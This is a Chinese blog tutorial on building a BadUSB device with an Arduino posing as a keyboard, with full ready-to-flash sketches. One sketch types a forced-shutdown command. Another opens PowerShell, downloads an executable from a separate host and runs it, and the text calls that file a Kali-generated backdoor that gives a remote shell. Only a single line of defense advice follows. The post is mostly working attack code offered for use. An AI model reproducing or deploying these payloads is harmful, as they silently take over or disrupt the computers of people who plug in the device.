U盘黑客-badusb

作者: 城市烈人 | 来源:发表于2019-10-15 10:31 被阅读0次

初探

​ BadUSB是利用伪造HID设备执行攻击载荷的一种攻击方式。用户插入BadUSB,就会自动执行预置在固件中的恶意代码,如下载服务器上的恶意文件,执行恶意操作等。由于恶意代码内置于设备初始化固件中,而不是通过autorun.inf等媒体自动播放文件进行控制,因此无法通过禁用媒体自动播放进行防御,杀毒软件更是无法检测设备固件中的恶意代码。这种攻击方式可以在不经意间实施攻击,而且不易被杀软或系统发觉。

​ HID是Human Interface Device的缩写,HID设备是直接与人交互的设备,例如键盘、鼠标与游戏杆等。HID设备并不一定要有人机接口,只要符合HID类别规范的设备都是HID设备。一般来讲针对HID的攻击主要集中在键盘鼠标上,因为只要控制了用户键盘,基本上就等于控制了用户的电脑。攻击者会把攻击载荷隐藏在一个正常的鼠标键盘中,或者将带有攻击载荷的设备伪装成HID设备。当用户将含有攻击载荷的鼠标或键盘,插入电脑时,恶意代码会被加载并执行。

​ 大致的原理就是:杀软等安全防护软件只检测文件、程序等运行,无法直接检测到设备中固件的恶意代码,便可以通过该种方式进行攻击绕过。

​ keyboard库的功能是将arduino 模拟成一个usb键盘。可以控制按下/放开键盘上的任意按键。通过设置按键顺序和恰当的延时可以实现组合键的键入 ,直接可进行命令输入操作,写入恶意程序代码等。

​ 需要用到烧录工具Arduino

​ 网盘下载地址链接:https://pan.baidu.com/s/1IoUMb2t-i_aJ1w816Bj2uQ 提取码:ed9k

image.png

烧录前选择好自己的板和端口

Hello World!

将一下代码烧录到badusb中,插入任何计算机,可直接在cmd中打开 “hello world!”

void setup()
{ 
  Keyboard.begin();//初始化键盘通讯 
  delay(5000);//延时
  Keyboard.press(KEY_LEFT_GUI);//win键 
  Keyboard.press('r');//r键 
  delay(500); 

  Keyboard.release(KEY_LEFT_GUI);
  Keyboard.release('r');
  Keyboard.press(KEY_CAPS_LOCK);//利用开大写输小写绕过输入法
  Keyboard.release(KEY_CAPS_LOCK);
  delay(500); 

  Keyboard.println("CMD");
  delay(1000); 

  Keyboard.println("hELLO wORLD!");//由于开启了大写锁定,大小写颠倒
  Keyboard.press(KEY_CAPS_LOCK);
  Keyboard.release(KEY_CAPS_LOCK);
  Keyboard.end();//结束键盘通讯 
}

void loop() {}

插入任意计算机,直接在cmd中打印出 hello world

shutdown now

void setup()
{ 
  Keyboard.begin();//初始化键盘通讯 
  delay(5000);//延时
  Keyboard.press(KEY_LEFT_GUI);//win键 
  Keyboard.press('r');//r键 
  delay(500); 

  Keyboard.release(KEY_LEFT_GUI);
  Keyboard.release('r');
  Keyboard.press(KEY_CAPS_LOCK);//利用开大写输小写绕过输入法
  Keyboard.release(KEY_CAPS_LOCK);
  delay(500); 

  Keyboard.println("CMD");
  delay(1000); 

  Keyboard.println("SHUTDOWN -S -T 0");
  Keyboard.press(KEY_CAPS_LOCK);
  Keyboard.release(KEY_CAPS_LOCK);
  Keyboard.end();//结束键盘通讯 
}

void loop() {}

插入关机

write shell

void setup()
{ 
  Keyboard.begin();
  delay(5000);
  Keyboard.press(KEY_LEFT_GUI);
  Keyboard.press('r');
  delay(500); 

  Keyboard.release(KEY_LEFT_GUI);
  Keyboard.release('r');
  Keyboard.press(KEY_CAPS_LOCK);
  Keyboard.release(KEY_CAPS_LOCK);
  delay(500); 

  Keyboard.println("CMD");
  delay(1000); 

  Keyboard.println("powershell");
  Keyboard.println("$clnt = new-object System.Net.WebClient;"); //大小写颠倒
  Keyboard.println("$url = 'http://172.20.1.222/WINTEST.EXE';");
  Keyboard.println("$file = 'D:\\wintest.exe';");
  Keyboard.println("$clnt.DownloadFile($url,$file);");
  Keyboard.println("D:\\wintest.exe");
  Keyboard.press(KEY_CAPS_LOCK);
  Keyboard.release(KEY_CAPS_LOCK);
  Keyboard.end();
}

void loop() {}

在kali中生成了exe后门,插入badusb直接用powershell下载并执行,直接拿到shell会话

防御方法:

https://www.freebuf.com/articles/terminal/140619.html

永远不要低估人类愚蠢的好奇心

不要随便接入他人的USB,永远不要信息第三方的设备

相关文章

  • U盘黑客-badusb

    初探 ​ BadUSB是利用伪造HID设备执行攻击载荷的一种攻击方式。用户插入BadUSB,就会自动执行预置在...

  • 硬件hacker!用digispark制作BadUSB

    BadUSB是什么? BadUSB是一种通过重写U盘固件伪装成USB输入设备(键盘,网卡)用于恶意用途的usb设备...

  • 基于arduino leonardo的badusb

    基于arduino leonardo制作的badusb,可插入U盘自动下载网站木马程序,后门等,仅供学习参考,勿作...

  • Arduino Leonardo 打造 Bad USB

    嘿嘿嘿,又是一篇猥琐小文。 简介 什么是Bad USB? BadUSB最可怕的一点是恶意代码存在于U盘的固件中,由...

  • BadUSB制作教程

    和大多数人一样,最初见到BadUSB是在美剧《黑客军团》中,是fsociety组织常用的工具之一,无论是向...

  • kali2017+win7双系统的实现

    杰森黑客博客 今天把kali玩坏了,于是乎想要刷个双系统,说干就干。 准备: 1.一个8G及以上u盘 2.分盘助手...

  • Linux挂载exfat格式U盘

    安装exfat组件 查看U盘位置 挂载U盘 卸载U盘

  • 电脑系统崩溃?重装麻烦又费钱!

    一、U盘安装 首先我们准备一个U盘,最好8G以上,第一步,我们要用U盘制作工具对U盘进行制作成U盘启动盘,现在市面...

  • u盘损坏怎么修复 ?修复方法

    造成u盘损坏的原因有很多,比如我们在拔出u盘前,如果没有先将u盘弹出或者弹出的不彻底,就很可能造成u盘的损坏。u盘...

  • 记录下Ubuntu安装过程,超简单。

    Ubuntu安装 1、将Ubuntu系统做到U盘上,从U盘启动 2、PC插入U盘,从U盘启动电脑 3、U盘上的系统...

网友评论

    本文标题:U盘黑客-badusb

    本文链接:https://www.haomeiwen.com/subject/wcijmctx.html